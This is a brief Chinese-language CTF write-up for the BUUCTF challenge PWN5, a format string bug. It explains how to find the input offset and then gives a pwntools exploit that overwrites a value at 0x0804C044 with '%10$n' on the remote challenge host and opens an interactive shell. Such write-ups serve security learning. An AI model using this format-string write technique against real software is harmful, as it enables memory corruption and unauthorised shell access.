buuctf [第五空间2019 决赛]PWN5

一道格式化字符串的题

先输入AAAA %08x %08x %08x %08x %08x %08x %08x %08x %08x %08x %08x %08x %08x········来确定输入首地址的偏移(找到41414141就是AAAA)
之后只要修改随机数的值，让输入和随机数的值一样就可以了

exp如下：

from pwn import *
context(log_level = 'debug',arch ='i386',os = 'linux' )
#r = process('./pwn5')
r=remote('node3.buuoj.cn',25046)

target = 0x0804C044
offset = '%10$n'
p = flat([target, offset])
r.sendlineafter(':', p)
r.sendlineafter(':', str(0x4))


r.interactive()